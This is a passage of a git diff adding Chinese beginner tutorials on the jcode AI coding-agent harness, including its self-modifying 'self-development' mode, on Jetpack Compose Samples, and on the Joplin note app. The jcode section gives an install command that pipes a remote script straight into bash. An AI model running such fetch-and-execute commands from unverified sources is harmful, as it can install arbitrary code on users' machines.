+### 1. Harness（驾驶舱 / 操控台）
+
+"Harness" 的本意是"马具"。在 jcode 里，它指的就是整个 agent 运行环境——包括对话管理、工具调用、记忆系统等。你可以把它想象成马车的方向盘和仪表盘，agent 是拉车的马。
+
+### 2. Memory（记忆系统）
+
+jcode 内置了一套类人记忆系统。它会把每次对话的内容转换成数学向量（叫"语义向量"），存在一个叫"记忆图"的地方。当下一次对话时，系统会自动回忆之前相关的信息。
+
+打个比方：你之前让 agent 帮你设置了一个项目配置文件，过两天你忘了配置项的名字，问它"之前那个端口号是多少？"，jcode 的记忆系统会自动帮你找到，不需要你重新说明。
+
+### 3. Swarm（蜂群 / 多 agent 协作）
+
+这是 jcode 最酷的功能之一。你可以在同一个项目里同时启动多个 agent，它们会自动协调工作：
+
+- agent A 修改了一个文件
+- agent B 正好读了这个文件，系统会通知它
+- agent B 检查有没有冲突，有就调整
+
+这就像一个小团队：你告诉一个工程师改了 A 功能，另一个工程师在改 B 功能，系统会自动提醒他们不要互相捣乱。
+
+### 4. Skills（技能系统）
+
+不是所有技能都会一开始就加载，jcode 会根据你说的话，自动判断该用什么技能。比如你说"审查一下代码"，它会自动加载代码审查技能。你也可以手动用斜杠命令激活技能。
+
+### 5. Provider（模型提供商）
+
+jcode 支持连接多种 AI 模型提供商，包括 Claude、GPT、Gemini、Ollama（本地跑）等等。你可以用同一个 jcode 连接不同的"大脑"。
+
+---
+
+## 安装和启动
+
+### 一键安装
+
+```bash
+# macOS 和 Linux
+curl -fsSL https://raw.githubusercontent.com/1jehuang/jcode/master/scripts/install.sh | bash
+
+# macOS 用 Homebrew（如果有的话）
+brew tap 1jehuang/jcode
+brew install jcode
+```
+
+### 启动 jcode
+
+安装完成后，打开一个新终端，输入：
+
+```bash
+jcode
+```
+
+就会进入 jcode 的交互式界面。
+
+### 快速验证
+
+```bash
+# 非交互式运行一条命令
+jcode run "say hello"
+
+# 用语音输入
+jcode dictate
+```
+
+---
+
+## 关键功能详解
+
+### 性能优势
+
+jcode 是用 Rust 写的，最大的特点就是快：
+
+- **内存占用低**：单个会话只占约 28 MB（本地嵌入关闭时），比 Claude Code（386 MB）小 13 倍
+- **启动速度极快**：首帧渲染仅需 14 毫秒，比 Claude Code 快 245 倍
+
+为什么快？因为 Rust 是一门系统级语言，编译器会帮你把多余的开销在编译时就处理掉。类比：Python 像是自动挡汽车，方便但有一定损耗；Rust 像是手动挡赛车，上手复杂但性能极致。
+
+### 会话管理
+
+jcode 支持多种会话模式：
+
+```bash
+# 启动交互式 TUI 界面
+jcode
+
+# 恢复一个之前命名的会话
+jcode --resume fox
+
+# 作为持久后台服务启动，然后从其他终端连接
+jcode serve
+jcode connect
+```
+
+这有点像 SSH 连接：你先让 jcode 在后台跑着，然后可以随时从新终端连上去继续工作。
+
+### 支持 OAuth 登录的模型提供商
+
+```bash
+# 登录 Claude
+jcode login --provider claude
+
+# 登录 OpenAI
+jcode login --provider openai
+
+# 登录 Gemini
+jcode login --provider gemini
+
+# 登录 GitHub Copilot
+jcode login --provider copilot
+
+# 登录本地 Ollama
+jcode login --provider ollama
+
+# 登录 LM Studio
+jcode login --provider lmstudio
+```
+
+jcode 支持 30+ 种提供商，包括各种国内外的模型服务。
+
+### 浏览器自动化
+
+jcode 内置了浏览器控制工具，可以自动控制 Firefox：
+
+```bash
+# 检查浏览器自动化状态
+jcode browser status
+
+# 设置浏览器自动化
+jcode browser setup
+```
+
+设置完成后，agent 就能用浏览器工具自动打开网页、点击按钮、填表单了。
+
+---
+
+## 代码示例
+
+### 示例 1：基本的交互编程
+
+启动 jcode 后，你可以直接用自然语言描述需求：
+
+```
+帮我创建一个 Python 函数，接收一个数字列表，返回排序后的结果，
+要求用快速排序算法实现。
+```
+
+jcode 的 agent 会：
+1. 理解你的需求
+2. 在当前项目中创建或修改代码文件
+3. 写代码并保存
+4. 运行测试验证
+
+### 示例 2：进入自开发模式
+
+这是 jcode 最独特的功能——让 agent 改 jcode 自己的代码：
+
+```
+进入自开发模式，帮我优化内存占用
+```
+
+此时 agent 会：
+1. 读取 jcode 的 Rust 源码
+2. 找到内存占用高的地方
+3. 修改源代码
+4. 编译新的 jcode 二进制文件
+5. 自动重新加载，在已有会话中生效
+
+注意：官方建议使用前沿模型（如 GPT 5.5）来做自开发，因为 jcode 的源码库不复杂，弱模型可能做出 subtle（微妙）的破坏性修改。
+
+### 示例 3：多 agent 蜂群协作
+
+在同一个项目目录下：
+
+```bash
+# 第一个终端：agent A 负责修复 bug
+jcode
+
+# 第二个终端：agent B 负责添加新功能
+jcode
+```
+
+两个 agent 同时在同一个仓库里工作，jcode 的服务器会自动协调：
+- 如果 agent A 修改了 agent B 正在读的文件，系统会通知 agent B
+- agent B 可以检查差异，确认是否有冲突
+- 每个 agent 还可以互相发消息（DM 或广播）
+
+---
+
+## 配置结构
+
+jcode 的配置文件在 `~/.jcode/config.toml`，大致结构如下：
+
+```toml
+[provider]
+default_provider = "claude"
+default_model = "claude-sonnet-4-20250514"
+
+[providers.my-api]
+type = "openai-compatible"
+base_url = "https://api.example.com/v1"
+default_model = "my-model"
+```
+
+MCP 服务器配置在 `~/.jcode/mcp.json`，支持全局和项目级别的配置。
+
+---
+
+## 与其他工具对比
+
+| 特性 | jcode | Claude Code | OpenCode | Codex CLI |
+|------|-------|-------------|----------|-----------|
+| 语言 | Rust | TypeScript | TypeScript | Python |
+| 单会话内存 | ~28 MB | ~386 MB | ~371 MB | ~140 MB |
+| 启动速度 | ~14ms | ~3437ms | ~1036ms | ~883ms |
+| 自开发模式 | 支持 | 不支持 | 不支持 | 不支持 |
+| 多 agent 协作 | 支持 | 不支持 | 不支持 | 不支持 |
+| 会话恢复 | 支持 | 有限 | 有限 | 有限 |
+| 提供商数量 | 30+ | 主要 Anthropic | 主要 Anthropic | 主要 OpenAI |
+
+---
+
+## 学习总结
+
+jcode 的核心价值可以用三个词概括：**快、聪明、可进化**：
+
+1. **快**：Rust 写的工具，性能远超同类 TypeScript/Python 工具
+2. **聪明**：内置记忆系统、技能系统、多 agent 蜂群协作
+3. **可进化**：agent 可以自动改进 jcode 自身的代码
+
+对于零基础的初学者来说，你不需要理解 Rust 或向量嵌入的数学原理。你只需要记住：
+- `jcode` 打开工具
+- `jcode run "你的需求"` 快速执行
+- 对 agent 说"进入自开发模式" 让它改进自身
+- 多个 `jcode` 可以同时协作一个大项目
+
+这就是 jcode 的基本面貌。它不是另一个聊天机器人，而是一个专门为 AI 写代码设计的完整工作环境。
+
+---
+
+## 延伸阅读
+
+- [Memory Architecture](https://github.com/1jehuang/jcode/blob/master/docs/MEMORY_ARCHITECTURE.md) — 记忆系统详解
+- [Swarm Architecture](https://github.com/1jehuang/jcode/blob/master/docs/SWARM_ARCHITECTURE.md) — 蜂群协作详解
+- [Server Architecture](https://github.com/1jehuang/jcode/blob/master/docs/SERVER_ARCHITECTURE.md) — 服务端架构
+- [Ambient Mode](https://github.com/1jehuang/jcode/blob/master/docs/AMBIENT_MODE.md) — 环境模式
+- [Safety System](https://github.com/1jehuang/jcode/blob/master/docs/SAFETY_SYSTEM.md) — 安全系统
+- [TERMINAL_CAPABILITIES](https://github.com/1jehuang/jcode/blob/master/terminal-capabilities.md) — 终端能力
+- [OAUTH](https://github.com/1jehuang/jcode/blob/master/OAUTH.md) — OAuth 登录详解
diff --git a/src/content/docs/projects/jetpack-compose-samples.md b/src/content/docs/projects/jetpack-compose-samples.md
new file mode 100644
index 000000000..4d8a4d2c0
--- /dev/null
+++ b/src/content/docs/projects/jetpack-compose-samples.md
@@ -0,0 +1,254 @@
+---
+title: Jetpack Compose Samples — Google 官方 Compose 样例博物馆
+来源: https://github.com/android/compose-samples
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**jetpack-compose-samples** 是 Google Android 团队维护的 **Jetpack Compose 官方示例合集**：仓库里不是一个大 App，而是 **多个可独立打开的 Android Studio 工程**（JetNews、Jetchat、Jetsnack、Jetcaster、Reply、JetLagged 等），每个工程专注演示一类 UI 能力或架构模式。
+
+日常类比：你想学做菜，买一本菜谱书（官方文档）当然有用，但有时候更需要 **几家风格不同的样板厨房**——一家只做家常菜摆盘（JetNews），一家专攻聊天输入和动效（Jetchat），一家把播客 App 从手机做到手表和电视（Jetcaster）。compose-samples 就是这些 **带完整源码的样板厨房**：你可以直接打开、改参数、看 Preview、跑测试，比只看 API 文档快得多。
+
+仓库在 GitHub 上有 2 万+ star，与 [Android 开发者文档中的 Compose Samples 页面](https://developer.android.com/develop/ui/compose/samples) 互相引用。2024 年后部分老样本（Crane、Owl、Jetsurvey、Rally）已从主分支移除，历史版本仍可在 tag `v2024.05.00` 里找到——读教程时注意日期，别对着已下架工程找文件。
+
+## 为什么值得学
+
+零基础学 Compose，常见弯路是：
+
+- 只看 `@Composable` 语法，不知道真实项目怎么拆包、导航、测 UI
+- 把官方 Codelab 和「能上生产的架构」混为一谈
+- 在 Stack Overflow 抄片段，缺少 **Material 3、自适应大屏、动态取色** 的完整上下文
+
+compose-samples 的价值在于 **按难度和主题分仓**：你可以从 Jetchat 理解状态与输入，再跳到 Jetcaster 看 `StateFlow` + Room + 多形态（手机 / TV / Wear）。每个样本的 README 会标明复杂度（Low / Medium / Advanced）和覆盖的 API 清单，相当于一张 **能力地图**。
+
+## 仓库结构一览
+
+根目录 `README.md` 用表格列出主样本（以下为 2024–2025 主分支常见集合，以克隆时 README 为准）：
+
+| 子工程 | 复杂度 | 侧重点 |
+| --- | --- | --- |
+| **JetNews** | Medium | Material 新闻阅读、抽屉导航、列表/详情、Glance 小组件、自适应 list-detail |
+| **Jetchat** | Low | 聊天 UI、Material 3 / 动态取色、文本输入、Fragment+Compose 混用、动画 |
+| **Jetsnack** | Medium | 自定义设计系统、网格与折叠头图、底部栏动画 |
+| **Jetcaster** | Advanced | Redux 式单向数据流、封面动态主题、Room、TV / Wear 子模块 |
+| **Reply** | Medium | Material 3 邮件客户端、折叠屏/平板自适应、Navigation |
+| **JetLagged** | — | 自定义 Layout、Path 绘图（睡眠追踪场景） |
+
+另有 **Now in Android**、**Material Catalog** 等链接到仓库外，但同属「官方推荐学习路径」。
+
+克隆后 **用 Android Studio 打开某一个子目录**（如 `JetNews/`），不要试图把整仓当一个 Gradle 工程导入。环境要求见 [Compose 设置文档](https://developer.android.com/jetpack/compose/setup#sample)：需要较新的 Android Studio 与对应 Compose BOM 版本。
+
+## 核心概念
+
+### 1. 声明式 UI：`@Composable` 函数
+
+Compose 界面由 **Composable 函数** 描述「当前状态长什么样」，而不是像传统 View 那样 `findViewById` 再改属性。状态变了，框架会 **重组（recomposition）** 受影响的 Composable 子树。
+
+JetNews 的文章列表就是把数据映射成一组可组合项；概念上类似：
+
+```kotlin
+@Composable
+fun PostCard(post: Post, onClick: () -> Unit, modifier: Modifier = Modifier) {
+    Card(
+        onClick = onClick,
+        modifier = modifier.fillMaxWidth(),
+        shape = RoundedCornerShape(8.dp),
+    ) {
+        Column(Modifier.padding(16.dp)) {
+            Text(post.title, style = MaterialTheme.typography.titleMedium)
+            Spacer(Modifier.height(8.dp))
+            Text(
+                post.summary,
+                style = MaterialTheme.typography.bodyMedium,
+                maxLines = 2,
+                overflow = TextOverflow.Ellipsis,
+            )
+        }
+    }
+}
+```
+
+要点：`PostCard` 不关心「上一次标题是什么」，只根据传入的 `post` 绘制；点击通过 lambda 往上抛，由导航层决定跳转详情。
+
+### 2. 状态提升与单向数据流
+
+样本里反复出现的模式：**子 Composable 无状态（stateless）**，状态放在 ViewModel 或上层，通过参数下发、通过事件回调上报。Jetcaster 更极端：每个屏幕一个 ViewModel，暴露 **单个 `StateFlow<UiState>`**，UI 用 `collectAsStateWithLifecycle()` 订阅——接近 Redux「一个 store、一种 state、事件驱动 reducer」的 Android 版。
+
+### 3. 导航与自适应（JetNews / Reply）
+
+- **JetNews**：`JetnewsApp.kt` 管导航状态与抽屉；`JetnewsNavDisplay.kt` 用 **list-detail 场景策略**，按窗口宽度决定是单栏还是主从双栏（手机 vs 平板/折叠屏）。
+- **Reply**：Material Study 邮件客户端，演示 **Material 3 组件 + 自适应导航**（手机底部栏、大屏 navigation rail 等）。
+
+### 4. 主题与设计系统
+
+- **Jetchat**：Material 3、`dynamicDarkColorScheme` / `dynamicLightColorScheme`（Material You 取色）。
+- **Jetsnack**：**完全自定义** 颜色、字体、形状，不跟默认 Material 走——学「品牌设计系统」时优先翻 `Jetsnack/ui/theme/`。
+- **Jetcaster**：根据播客封面 **动态生成主题色**（`DynamicTheming.kt`），并带颜色切换动画。
+
+### 5. 测试：仪器化 + Robolectric
+
+JetNews README 写明：UI 测试可在真机/模拟器跑 **Instrumented**，也可用 **Robolectric** 在 JVM 跑 `./gradlew testDebug`。学 Compose 测试时，直接对照样本里的 `androidTest` 与 `test` 目录，比从零写 `createComposeRule` 省事。
+
+### 6. 多形态：TV 与 Wear（Jetcaster）
+
+同一产品域下，`Jetcaster/tv-app`、`Jetcaster/wear` 展示 **Compose for TV** 与 **Wear Compose**，手机端 ViewModel 模式在手表上复用。Wear 侧还集成 Horologist Media Toolkit（示例里用 mock Player，真播放可参考 Media Toolkit sample）。
+
+## 推荐学习路径（零基础）
+
+1. **环境**：安装最新稳定版 Android Studio，JDK 17+，打开 `Jetchat` → Sync → 运行 app，熟悉 Preview 面板。
+2. **读 UI 状态**：从 `Jetchat` 的 `Conversation.kt`、`UserInput.kt` 看 `remember`、`mutableStateOf`、动画 FAB。
+3. **读导航与 Material**：打开 `JetNews`，跟 `ui/` 包从 `JetnewsApp` → `home` → `post` → `interests` 走一遍；看 `glance` 包了解桌面小组件。
+4. **读架构**：有 Kotlin 协程和 ViewModel 基础后，克隆 `Jetcaster`，读 `HomeViewModel` + `HomeViewState` + `Home.kt` 三角关系。
+5. **读大屏**：对比 `Reply` 与 JetNews 的 window size / adaptive 代码；用 Android Studio 的 **Resizable Emulator** 拖窗口看布局变化。
+6. **按需深挖**：自定义布局看 Jetsnack 的 `Grid.kt`、`SnackDetail.kt`；图表看 JetLagged。
+
+## 代码示例
+
+### 示例 1：Jetcaster 风格 — ViewModel + StateFlow + Compose
+
+下列代码浓缩自 Jetcaster 首页模式（包名与类型名与仓库一致，便于你对照源码），展示 **UI 只订阅 state、通过方法发事件**：
+
+```kotlin
+@Immutable
+data class HomeViewState(
+    val featuredPodcasts: List<PodcastPreview> = emptyList(),
+    val isLoading: Boolean = true,
+)
+
+class HomeViewModel(
+  private val podcastRepository: PodcastRepository,
+) : ViewModel() {
+
+    private val _state = MutableStateFlow(HomeViewState())
+    val state: StateFlow<HomeViewState> = _state.asStateFlow()
+
+    init {
+        viewModelScope.launch {
+            podcastRepository.featuredPodcasts().collect { list ->
+                _state.update { it.copy(featuredPodcasts = list, isLoading = false) }
+            }
+        }
+    }
+
+    fun onPodcastSelected(podcastUri: String) {
+        // 导航或写入已选状态，由 NavController / 上层处理
+    }
+}
+
+@Composable
+fun HomeRoute(
+    viewModel: HomeViewModel = viewModel(),
+    onPodcastSelected: (String) -> Unit,
+) {
+    val viewState by viewModel.state.collectAsStateWithLifecycle()
+
+  if (viewState.isLoading) {
+        CircularProgressIndicator()
+    } else {
+        LazyColumn {
+            items(viewState.featuredPodcasts, key = { it.uri }) { podcast ->
+                PodcastRow(
+                    podcast = podcast,
+                    onClick = { onPodcastSelected(podcast.uri) },
+                )
+            }
+        }
+    }
+}
+```
+
+学习要点：`@Immutable` 帮助 Compose 跳过不必要的重组；`collectAsStateWithLifecycle()` 让 Flow 与生命周期对齐，避免后台泄漏更新。
+
+### 示例 2：JetNews 风格 — 自适应 list-detail 思路
+
+JetNews 在宽屏上同时显示列表与详情，窄屏只显示其一。简化版用 `WindowSizeClass` 分支（实际仓库用 Navigation 3 场景策略，思想相同）：
+
+```kotlin
+@Composable
+fun PostListDetail(
+    posts: List<Post>,
+    windowSizeClass: WindowSizeClass,
+    modifier: Modifier = Modifier,
+) {
+    var selectedPostId by rememberSaveable { mutableStateOf<String?>(null) }
+    val selectedPost = posts.find { it.id == selectedPostId }
+
+    when {
+        windowSizeClass.widthSizeClass >= WindowWidthSizeClass.Expanded -> {
+            Row(modifier.fillMaxSize()) {
+                PostList(
+                    posts = posts,
+                    selectedId = selectedPostId,
+                    onSelect = { selectedPostId = it },
+                    modifier = Modifier.weight(0.4f),
+                )
+                selectedPost?.let { post ->
+                    PostDetail(post = post, modifier = Modifier.weight(0.6f))
+                }
+            }
+        }
+        else -> {
+            if (selectedPost == null) {
+                PostList(
+                    posts = posts,
+                    selectedId = null,
+                    onSelect = { selectedPostId = it },
+                    modifier = modifier.fillMaxSize(),
+                )
+            } else {
+                PostDetail(
+                    post = selectedPost,
+                    onBack = { selectedPostId = null },
+                    modifier = modifier.fillMaxSize(),
+                )
+            }
+        }
+    }
+}
+```
+
+学习要点：**同一数据、两种布局**；`rememberSaveable` 在旋转或进程重建时保留选中项。完整实现请对照 `JetNews/.../JetnewsNavDisplay.kt`。
+
+## 与其他官方资源的关系
+
+| 资源 | 与 compose-samples 的分工 |
+| --- | --- |
+| [Now in Android](https://github.com/android/nowinandroid) | 单一完整产品级 App，模块化 + 离线优先 + 测试体系更全面 |
+| [Material Catalog](https://cs.android.com/androidx/platform/frameworks/support/+/androidx-main:compose/integration-tests/material-catalog) | 组件陈列室，查「这个 Button 长什么样」 |
+| [Compose 文档](https://developer.android.com/jetpack/compose) | 概念与 API 权威说明 |
+| [Accompanist](https://github.com/google/accompanist) | Compose 生态「过渡配件」，很多能力已 upstream 到 AndroidX |
+
+建议：**文档建立概念 → Codelab 跟做 → compose-samples 按主题翻源码 → Now in Android 看工程化全貌**。
+
+## 本地开发与仓库维护
+
+- **格式化**：根目录 `./scripts/format.sh` 可格式化所有样本；单样本内 `./gradlew spotlessApply`。
+- **依赖升级**：`./scripts/updateDeps.sh` 批量升稳定版依赖。
+- **已移除样本**：Crane、Owl、Jetsurvey、Rally 等见 README「Obsolete Sample Projects」表；学习历史文章时核对 commit/tag。
+
+## 常见问题
+
+**Q：应该从哪个 sample 开始？**  
+几乎没有架构基础：Jetchat。想系统看 Material 新闻类 UI：JetNews。想学数据层 + 多设备：Jetcaster。
+
+**Q：需要会 Kotlin 吗？**  
+需要。样本全是 Kotlin；不懂协程可先跳过 Jetcaster 的数据流部分，只看 Composable。
+
+**Q：和 Flutter / React Native 样本比呢？**  
+compose-samples 只服务 **原生 Android**；优势是与 Jetpack（Navigation、ViewModel、Room、Glance）深度结合，不是跨平台 Demo。
+
+**Q：Preview 不显示或编译失败？**  
+通常是 Android Studio / Compose Compiler 版本与项目 BOM 不匹配。用 README 要求的 Studio 版本，对单子工程执行 Sync，不要混用几年前博客里的 Crane 路径。
+
+## 小结
+
+jetpack-compose-samples 是 **按主题拆分的官方 Compose 教科书**：每个子工程是一个可运行的样板厨房，覆盖从聊天输入、自定义设计系统，到 Redux 式架构、TV/Wear、自适应大屏和 UI 测试。零基础学习时，不要试图一次读完整个仓库——**选一个子工程、一条用户路径（例如 JetNews：列表 → 详情 → 兴趣页）跟到底**，再对照本文的核心概念与代码示例回源码里找同名模式，效率最高。
+
+---
+
+**来源**：[https://github.com/android/compose-samples](https://github.com/android/compose-samples)  
+**延伸阅读**：[Compose samples \| Android Developers](https://developer.android.com/develop/ui/compose/samples)
diff --git a/src/content/docs/projects/joplin.md b/src/content/docs/projects/joplin.md
new file mode 100644
index 000000000..9b3f28cb7
--- /dev/null
+++ b/src/content/docs/projects/joplin.md
@@ -0,0 +1,324 @@
+---
+title: Joplin — 开源 Evernote 替代
+来源: https://github.com/laurent22/joplin
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：把「带锁抽屉的笔记本柜」搬进自己家里
+
+想象你有一组 **活页笔记本**：每一本是一个主题（工作、读书、旅行），每一页是一条笔记，页角贴彩色标签方便检索，还可以夹照片、PDF 当附件。Evernote 像租了一间 **托管仓库**——方便，但箱子格式是房东定的，涨价或关门时，搬运会疼。
+
+**Joplin 像把同款柜子买回家**：笔记默认存在你电脑/手机本地，正文是 **Markdown 纯文本**（不是专有富文本黑盒），你可以用任意编辑器打开；想备份就拷贝文件夹，想同步就自己选 Dropbox、Nextcloud、WebDAV、OneDrive 或 Joplin Cloud，甚至可选 **端到端加密**，云端只看到密文。浏览器装 **Web Clipper** 还能把网页「撕下来」塞进指定笔记本——和 Evernote 剪藏类似，但数据主权在你手里。
+
+Joplin 由 Laurent Cozic 发起，是 AGPL 许可的开源跨平台笔记与待办应用（[laurent22/joplin](https://github.com/laurent22/joplin)），桌面端基于 Electron + SQLite，移动端基于 React Native，另有终端版 CLI。零基础路径：**安装桌面版 → 建第一个笔记本 → 写一条 Markdown 笔记 → 试同步/导出 → 按需启用 Web Clipper 或 CLI 自动化**。
+
+---
+
+## 这个项目解决什么问题
+
+### 痛点 1：专有格式与供应商锁定
+
+Evernote 的 ENEX、内部格式与订阅绑定，迁移成本高。Joplin **原生支持导入 ENEX**（含附件与元数据），日常存储为 Markdown；可导出 **JEX**（完整归档）、**MD**、**RAW** 等，避免「笔记只能活在一个 App 里」。
+
+### 痛点 2：隐私与离线可用
+
+笔记 **offline first**：无网也能读写、全文搜索；同步是可选层，不是前提。配合 E2EE，同步目标（包括自建 WebDAV）无法读取明文。
+
+### 痛点 3：跨平台与剪藏
+
+官方提供 Windows / macOS / Linux / Android / iOS / Terminal 客户端，并维护 Firefox、Chrome **Web Clipper**。剪藏可选笔记本、标签，支持简化页面或完整 HTML。
+
+### 痛点 4：可扩展
+
+**插件系统**（多进程沙箱）可扩展编辑器、主题、导入导出格式；**Data API**（REST，默认 `localhost:41184`）供脚本、插件、自动化写入笔记——适合把 RSS、邮件、CI 日志接进知识库。
+
+---
+
+## 核心概念拆解
+
+### 1. Notebook（笔记本 / Folder）
+
+笔记的容器，支持 **嵌套子笔记本**（类似 Evernote 堆叠）。每条笔记属于且仅属于一个笔记本（可通过移动变更）。在数据模型里对应 `Folder`。
+
+### 2. Note（笔记）
+
+最小内容单元，字段含 `title`、`body`（Markdown）、`created_time`、`updated_time`、`user_updated_time` 等。支持 **待办语法**：`- [ ]` / `- [x]`，与正文混排。内置 **版本历史**（默认约 90 天），可回溯或恢复旧稿。
+
+### 3. Tag（标签）
+
+跨笔记本的横向分类，一条笔记可打多个标签。与笔记本正交：适合「#面试」「#待整理」这类贯穿项目的标记。
+
+### 4. Resource（资源 / 附件）
+
+图片、PDF 等二进制附件，在 Markdown 里以 `![](:resource_id)` 或类似内部链接引用；同步时与笔记一并上传。导入 Evernote 时会从 ENEX 还原资源。
+
+### 5. 同步（Sync）与驱动抽象
+
+Joplin **没有强制官方云**（另有可选 Joplin Cloud 服务）。同步通过 **轻量驱动** 对接文件系统式后端：Dropbox、OneDrive、Nextcloud、WebDAV、本地目录等。逻辑在抽象层完成，换后端不必改笔记格式。
+
+### 6. 端到端加密（E2EE）
+
+在同步层可选开启：密钥由用户掌握，服务器/网盘只见加密 blob。适合把笔记放在不可信第三方存储上。注意：**丢失主密码无法恢复**，需自行备份密钥。
+
+### 7. 导入导出（Interop）
+
+| 格式 | 用途 |
+|------|------|
+| ENEX | 从 Evernote 迁入 |
+| JEX | Joplin 完整交换格式（多笔记 + 资源打包） |
+| MD / RAW | 与外部 Git、编辑器协作 |
+| HTML | 主要桌面 GUI 导出 |
+
+### 8. 插件架构（简述）
+
+插件脚本在 **独立进程** 运行，通过 IPC 调用主进程 API，崩溃不拖垮主程序。桌面端用 `BrowserWindow` 隔离；API 分平台实现（桌面有编辑器相关接口，移动端子集）。详见仓库 `readme/dev/spec/plugins.md`。
+
+### 9. Data API / Web Clipper 服务
+
+在桌面端 **Web Clipper 选项** 中启动本地 REST 服务（常见端口 **41184**）。外部请求需带 **token** 查询参数。插件在 Clipper 未启动时也可走内部 API。
+
+### 10. Joplin 不是什么
+
+它不是实时协作白板（无 Google Docs 式共编）；不是块级双链图谱（那是 Logseq / Obsidian 强项）；不是公司统一知识库 SaaS。它的核心是 **隐私优先的 Markdown 笔记柜 + 可选同步 + 剪藏与自动化接口**。
+
+---
+
+## 安装与第一次打开
+
+### 桌面端（推荐）
+
+1. 从 [joplinapp.org](https://joplinapp.org) 或 [GitHub Releases](https://github.com/laurent22/joplin/releases) 安装对应平台包。
+2. 启动后 **创建笔记本**，例如 `Inbox`、`学习笔记`。
+3. 新建笔记，在设置中确认默认编辑器为 **Markdown**（亦可切换所见即所得）。
+4. **工具 → Web Clipper 选项**：记下端口与 token，供 API/剪藏扩展使用。
+5. （可选）**工具 → 选项 → 同步**：配置 WebDAV / Nextcloud 等，先小范围试同步再全量。
+
+### 终端 CLI
+
+安装桌面版后通常附带 `joplin` 命令（或单独装 `joplin-cli`）。适合脚本化导入导出、无头服务器定时任务。
+
+### 从 Evernote 迁移
+
+在 Evernote 导出 **ENEX**（按笔记本），Joplin：**文件 → 导入 → ENEX**，选择目标笔记本。大批量导入建议先用 CLI 观察日志。
+
+---
+
+## 代码示例 1：CLI 导入、导出与同步
+
+以下命令假设已安装 CLI 且 profile 已初始化（首次运行 `joplin` 会提示配置目录）。
+
+```bash
+# 从 Evernote 导出的 ENEX 导入到默认笔记本
+joplin import --format enex /path/to/evernote-export/MyNotebook.enex
+
+# 仅导出某一笔记本为 Markdown 目录（便于放进 Git）
+joplin export --format md --notebook "学习笔记" /tmp/joplin-md-export
+
+# 导出完整 JEX 归档（含资源，适合整机备份）
+joplin export --format jex /tmp/backup-$(date +%Y%m%d).jex
+
+# 同步到已在选项里配置好的目标（WebDAV / Dropbox 等）
+joplin sync
+
+# 列出最近更新的 5 条笔记（排查脚本是否写入成功）
+joplin notes -l 5
+```
+
+**阅读要点：**
+
+- `import --format enex` 会解析 Evernote 标签、资源与创建时间；超大 ENEX 耗时会变长，属正常现象。
+- `export --format md` 得到的是 **可读 Markdown 树**，适合与 `logseq` / `Obsidian` 联用，但 Joplin 特有元数据可能简化。
+- `sync` 前务必在 GUI 或 `joplin config` 中配好同步目标；E2EE 开启后各客户端需同一密钥。
+- CLI 与 GUI 共享同一 SQLite 数据库，**不要两边同时大批量导入**以免锁冲突。
+
+---
+
+## 代码示例 2：Data API — 用 curl 创建与检索笔记
+
+在 Joplin 桌面端启用 Web Clipper 服务后，将 `YOUR_TOKEN` 替换为选项页中的 token：
+
+```bash
+# 列出笔记（分页参数可选）
+curl -s "http://localhost:41184/notes?token=YOUR_TOKEN&limit=10" | jq .
+
+# 在指定笔记本创建一条 Markdown 笔记（parent_id 为笔记本 ID）
+curl -s -X POST "http://localhost:41184/notes?token=YOUR_TOKEN" \
+  -H "Content-Type: application/json" \
+  -d '{
+    "title": "API 写入测试",
+    "body": "## 小节\n\n- [ ] 待办项\n- 正文支持 **粗体** 与 `代码`",
+    "parent_id": "NOTEBOOK_ID_HERE"
+  }'
+
+# 按关键字搜索（全文检索接口）
+curl -s "http://localhost:41184/search?token=YOUR_TOKEN&query=Joplin&type=note" | jq .
+```
+
+用 Python 批量写入时的最小模式（与本机 Clipper 服务对话）：
+
+```python
+import json
+import urllib.request
+
+TOKEN = "YOUR_TOKEN"
+BASE = f"http://localhost:41184/notes?token={TOKEN}"
+
+payload = {
+    "title": "日报 2026-06-13",
+    "body": "- 完成 Joplin 笔记\n- 同步状态：OK",
+    "parent_id": "NOTEBOOK_ID_HERE",
+}
+req = urllib.request.Request(
+    BASE,
+    data=json.dumps(payload).encode("utf-8"),
+    headers={"Content-Type": "application/json"},
+    method="POST",
+)
+with urllib.request.urlopen(req) as resp:
+    print(resp.read().decode())
+```
+
+**阅读要点：**
+
+- 所有请求必须带 `token`；勿把 token 提交到公共仓库。
+- `parent_id` 可通过 `GET /folders` 获取笔记本列表后填入。
+- 创建时可用 `body`（Markdown）或 `body_html`（HTML），二选一。
+- 自动化场景（RSS、Zapier 自托管替代）常用此 API；Jan-Piet Mens 曾用类似方式把推文归档进 Joplin。
+
+---
+
+## 代码示例 3：插件 — 注册 JSON 导出模块（节选）
+
+插件在独立进程加载，通过 `joplin.interop.registerExportModule` 扩展导出格式。以下为仓库内测试插件 `json_export` 的核心结构（TypeScript）：
+
+```typescript
+import joplin from 'api';
+import { FileSystemItem } from 'api/types';
+
+joplin.plugins.register({
+  onStart: async function () {
+    await joplin.interop.registerExportModule({
+      description: 'JSON Export Directory',
+      format: 'json',
+      target: FileSystemItem.Directory,
+      isNoteArchive: false,
+
+      onInit: async (context) => {
+        await fs.mkdirp(context.destPath);
+        await fs.mkdirp(`${context.destPath}/resources`);
+      },
+
+      onProcessItem: async (context, _itemType, item) => {
+        const filePath = `${context.destPath}/${item.id}.json`;
+        await fs.writeFile(filePath, JSON.stringify(item), 'utf8');
+      },
+
+      onProcessResource: async (context, _resource, filePath) => {
+        const dest = `${context.destPath}/resources/${path.basename(filePath)}`;
+        await fs.copy(filePath, dest);
+      },
+    });
+  },
+});
+```
+
+**阅读要点：**
+
+- 生命周期钩子：`onInit` → 逐条 `onProcessItem` / `onProcessResource` → `onClose`。
+- `format` 与文件扩展名由模块声明；导入侧需另实现 `registerImportModule`（往往更复杂，要避免 ID 冲突）。
+- 开发插件可用官方 generator，打包后在 **设置 → 插件** 安装 `.jpl`。
+- 多进程设计意味着插件死循环不会直接冻结主 UI，但应谨慎处理异步与文件 I/O。
+
+---
+
+## 本地数据长什么样
+
+桌面版配置目录（因平台而异，macOS 常见在 `~/.config/joplin-desktop` 或应用数据路径）内含 **SQLite 数据库** `database.sqlite`，笔记正文以 Markdown 存在库中，资源在 `resources/` 子目录。你日常不必手改数据库；备份请用 **JEX 导出** 或同步目标上的副本，而不是直接复制正在写入的 DB 文件。
+
